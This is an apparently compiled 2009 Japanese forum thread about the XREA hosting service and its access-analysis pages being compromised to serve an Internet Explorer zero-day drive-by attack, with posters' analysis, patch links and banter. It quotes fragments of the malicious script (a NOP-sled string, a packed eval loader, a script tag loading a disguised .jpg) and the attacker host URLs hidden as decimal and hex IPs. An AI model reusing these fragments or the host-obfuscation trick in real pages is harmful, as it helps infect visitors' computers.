【Geno再来？】某有名レンタルサーバがやられた【新手法】

xrea.com part146
http://pc11.2ch.net/test/read.cgi/hosting/1246931972/41-42

42 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2009/07/08(水) 18:33:30 0
563 名前：Name_Not_Found[sage] 投稿日：2009/07/08(水) 18:31:04 ID:???
改ざん？されたらしいほうのところを調査　gifトロイやらなんやら一杯はいってるね。自己解凍cabが偽装されてたりするし
でも大体は最新にアップデートしてればおｋかな　でも、一番の問題は、これかな
http:／／１８５６３１７７９９：８８８／ｄｉｒ２／ｇｏ．ｊｐｇ　一見拡張子からjpgファイルっぽいけど、
> more go.jpg
var appllaa='0';
var nndx='%'+'u9'+'0'+'9'+'0'+'%u'+'9'+'0'+'9'+appllaa;
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e
以下長いので略　まぁ、スクリプトが偽装してある、これがまだ回避策のみでパッチがででてない虚弱性　972890 なのかな
ttp://www.microsoft.com/japan/technet/security/advisory/972890.mspx

http://pc11.2ch.net/test/read.cgi/hosting/1246931972/54
54 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2009/07/08(水) 19:35:03 0
参照元
【アクセス解析】AccessAnalyzer.com Part5【XREA】
http://pc11.2ch.net/test/read.cgi/hp/1234096306/
574 名前：Name_Not_Found[sage] 投稿日：2009/07/08(水) 19:32:26 ID:???
いろいろしらべていくと、あぁなるほど　で、
<script src='go.jpg'></script>
で、問題のｊｐｇをスクリプトとして読み込ませてますね　他の関係なさそうなファイル見てみると
if(user.indexOf("msie 6")==-1&user.indexOf("msie 7")==-1)
ともあるので、　これも同じように、IE6とIE7の狙い撃ちかな？　わざわざ律儀ですね
でも、whoisとかで調べていくと、hellh.netということで、おそらく、本体は、各種ネトゲのアカウントハックってところでしょうかね
ネトゲやってないと問題ない、なんて思っても、この手のウイルスはレジストラに残ると
ネットワーク重くしたりといろいろうざいんで、対応したほうがいいですね　とりあえず俺は大体わかったんで、ここまで

GENOウイルスチェッカー
http://geno.2ch.tc/

またエクレアか

★090705　ハード・業界板　ウイルスURL貼り付け荒らし
http://qb5.2ch.net/test/read.cgi/sec2chd/1246751574/

※緊急※ウイルスURLを貼り付ける荒らしがいます★2
http://dubai.2ch.net/test/read.cgi/ghard/1246791764/

むやみやたらと踏む馬鹿共の自己責任だろ

きょ…脆弱性

まんこおおおお

き…脆弱性

ニコニコ株主久しぶりに見た気がする

ノートン先生大激怒

HACKED by jggm

genoタイプではないようだね

これもしかしてIEじゃなければ問題無し？　　Opera最強伝説

このスレ開いたらログがaviraに検出された

ん？これか？

IEをターゲットにした0-day攻撃が発生中 - スラッシュドット・ジャパン
http://slashdot.jp/security/article.pl?sid=09/07/08/0432248

xareaかよ　なつかしいな

現状まとめ

623 名前：Name_Not_Found[sage] 投稿日：2009/07/08(水) 22:27:22 ID:???
調べたけど、これ、トロイ→ウイルス本体の二段構成だね
まず、こちらのPCに穴がないか、さまざまなトロイがいくつも試される
そのなかにはGENOと同じ虚弱性をついたものも混ざっている。でも、これはGENOのときにすでに対策されている
だから、最低限、Adobeの更新は必要。

でも今回は、最近みつかった虚弱性をついているトロイがある。これはちゃんと対応していないと処理しきれない

そういうことだろう
go.jpgそのものがウイルス実行ファイルってわけではないが、穴を探しにくるのは気持ちのいいものではないな

どうせVISTA使ってる奴だけには効かないんだろ？

火狐最強伝説

そもそもネトゲやっていないしウイルス以外の要素でも重くなっていくので問題ない

未だにIE6-7かつネトゲやってる馬鹿なんてニュー速には居ないよな？

firefox使っていれば安心かな？

hellowork.go.jpg

http://219.101.229.189/login.php
http://219.101.229.188/login.php

もう直ってるの?

もっとど派手なやつ出てこないかね

このスレ開いた瞬間にAviraが反応した

元スレはIE使いが多かったから危機感が高く見られてるだけ
スナスケやプニルもエンジンはIE7だか6だったはず
トロイとウィルスの二段構成とか考えたら火狐も最新版にすべきかと
窓2000とXP狙いとはいえ他のOSが安全とはまだ誰も確認できてない

今できることは、アクアナ使いはさっさとサイトから解析外しておくことと
アクアナ公式に飛ばないことだ

>>2
糞サイト貼り付けんな

>>23
直って無い。不正コード健在。あと現在、トップページにも同じコードがある。

※いずれも219.101.229.188のサーバにのみ存在し、189にはない。

>>2
それにひっかかったってだけで　同人板の女どもがうるさかったのを思い出した
ソース見りゃわかるだろ

さくらたんがやられたのかと思ってびっくりした

s何番サーバ？

感染予防
http://dubai.2ch.net/test/read.cgi/ogame/1245761603/529,530,533
すでに感染してるやつはクリーンインスコ

xreaのアク解のログインページか。
いくつか設置してるけど放置しっぱなしで管理画面にログインしないからいいや。

>>33
バナー踏んだ人が感染する可能性があるよ
放置は自己責任だが、お宅が感染源と呼ばれないようにな

Vistaの俺はまたもや大勝利でいいわけ？

Ping打ったら応答返ってきたぞ

C:\>ping 1856317799

110.165.41.103 に ping を送信しています 32 バイトのデータ:
110.165.41.103 からの応答: バイト数 =32 時間 =192ms TTL=114
110.165.41.103 からの応答: バイト数 =32 時間 =144ms TTL=114
110.165.41.103 からの応答: バイト数 =32 時間 =140ms TTL=114
110.165.41.103 からの応答: バイト数 =32 時間 =150ms TTL=114

110.165.41.103 の ping 統計:
パケット数: 送信 = 4、受信 = 4、損失 = 0 (0% の損失)、
ラウンド トリップの概算時間 (ミリ秒):
最小 = 140ms、最大 = 192ms、平均 = 156ms

仕組みは2進数にして区切るとこうで
1101110｜10100101｜00101001｜01100111
10進数に戻すと110.165.41.103ってことか

ｊｓ．ｓｒｃ　＝　”ｈｔｔｐ：￥／￥／０ｘ６ＥＡ５２９６７：８８８／ｄｉｒ／ｓｈｏｗ．ｐｈｐ”； 部分も同様に16進変換っぽい

genoも引っかからなかったしこれも大丈夫だろ俺は

VISTAでもセキュリティホール放置とかアップデートしてないのはまずい
デフォにあるUACを切ってる人も要注意だね
IE8も7や6より安全ではあるけどセキュリティーの堅さは未知数

http://pc11.2ch.net/test/read.cgi/hp/1234096306/626

IEって8でも拡張子による判断がデフォじゃ無かったな

先日から他のｻｰﾋﾞｽやられて、今度はｱｸｾｽ解析のほうもやられたか
で、相変わらず会社側は感染事実すら公表してない。
他のｽﾚの書き込み見てもわかるが、もう知らないでは済まない問題なのに。


167 名前：名無しさん＠お腹いっぱい。 投稿日：2009/07/07(火) 10:18:30 0
今回、ログイン部分が改ざんされ個人情報が脅かされたわけだろ？

5000件以上の個人情報をデータベース等として所持し事業に用いている事業者は
必然的に個人情報取扱事業者に該当するんだよ。
該当する場合は個人情報保護法に乗っ取った運営をしなければならない。
今回、こういう被害受けたからには、デジロック側が個人情報保護法に基づき総務省に報告義務がある。
まさか登録者５０００件未満というわけでも無さそうだし。

それ以外にも、以前にも似たようなことがあったということから、
電気通信事業者としても注意義務違反にあたるかもしれない。
ここらへんは詳細わからないことには判断できないが。

とにかく、このまま放置で済む問題ではないのは確実だ。

VISTAはまた仲間はずれか

岐阜じゃ無いのに岐阜になってるｗ

このすれ関係ある？
マイクロソフト、Windows XP/Server 2003の脆弱性対策ツールを緊急公開
http://tsushima.2ch.net/test/read.cgi/news/1247046149/

Video ActiveXコントロールのゼロデイ脆弱性に対応する -INTERNET Watch
ttp://internet.watch.impress.co.jp/docs/special/20090708_300654.html

窓の杜 - 【NEWS】MS、Windows XP/Server 2003のIEに対するゼロデイ攻撃への対策ツールを公開
ttp://www.forest.impress.co.jp/docs/news/20090708_300740.html


vistaの人もIE使ってるなら念のために↓はインストールしておけよ
専用ブラウザとかでIEエンジン使ってる人は多いでしょ
ttp://support.microsoft.com/kb/972890

642 ：Name_Not_Found：2009/07/08(水) 23:53:21 ID:???
ノートン先生、>620のトロイだけじゃなくて
Downloader.Fostremとかいうのも遮断してるぞコレ
反応するファイルはgo{1}.jpgで同じだけど。
>623の言うとおり、いろんなウィルスをけしかけて来るみたいだ
VALUE DOMAINやエクセリア自体にアクセスしないに限るな。

自分も有料版のバナー無しだけどスクリプト動くんじゃ同じだから消した。
今までのログ勿体ないけど感染するよりマシだから
しばらくの間ログインも削除もしないで、どこか別のアク解でも借りるよ。
いざ外してみると後味の悪い安心感が何ともははやｗ

以前も広告のバーナーに何か仕込まれなかったか？

規模的にもＧＥＮＯ再来な悪寒

xreaにｳｨﾙｽ進入中
http://tsushima.2ch.net/test/read.cgi/news/1247069298/

>>38
> VISTAでもセキュリティホール放置とかアップデートしてないのはまずい

当たり前だろｗ
どのセキュリティソフト使ってるか以前の問題だわ

xrea使ってるけどここ数年何度も改竄系のトラブルがあるな
金払って使ってるけどだんだんバカらしくなってきたしそろそろ引っ越すか

虚弱性ｗｗ
病弱なのかな

き・・・脆弱性

Xreaは無料垢のHDD容量をいい加減増やせ

xreaは止まってるメールサーバを何とかしろ。
ぶっ壊れたまま放置→ある日突然溜まってたメールが一気に押し寄せる

この間もこの現象喰らって酷い目に遭ったぞ…

…とりあえずマカーでSafariだから今回の件はあんまし関係無さそうだけど…

アクアナスレでの傾向と対策
http://pc11.2ch.net/test/read.cgi/hp/1234096306/705

マジでＧＥＮＯ再来みたいなもんだなこりゃ....公式の対応遅えなー

XPで火狐の人も感染するってアクアナスレに出てビビった

こりゃ鯖ごと撤退しかないな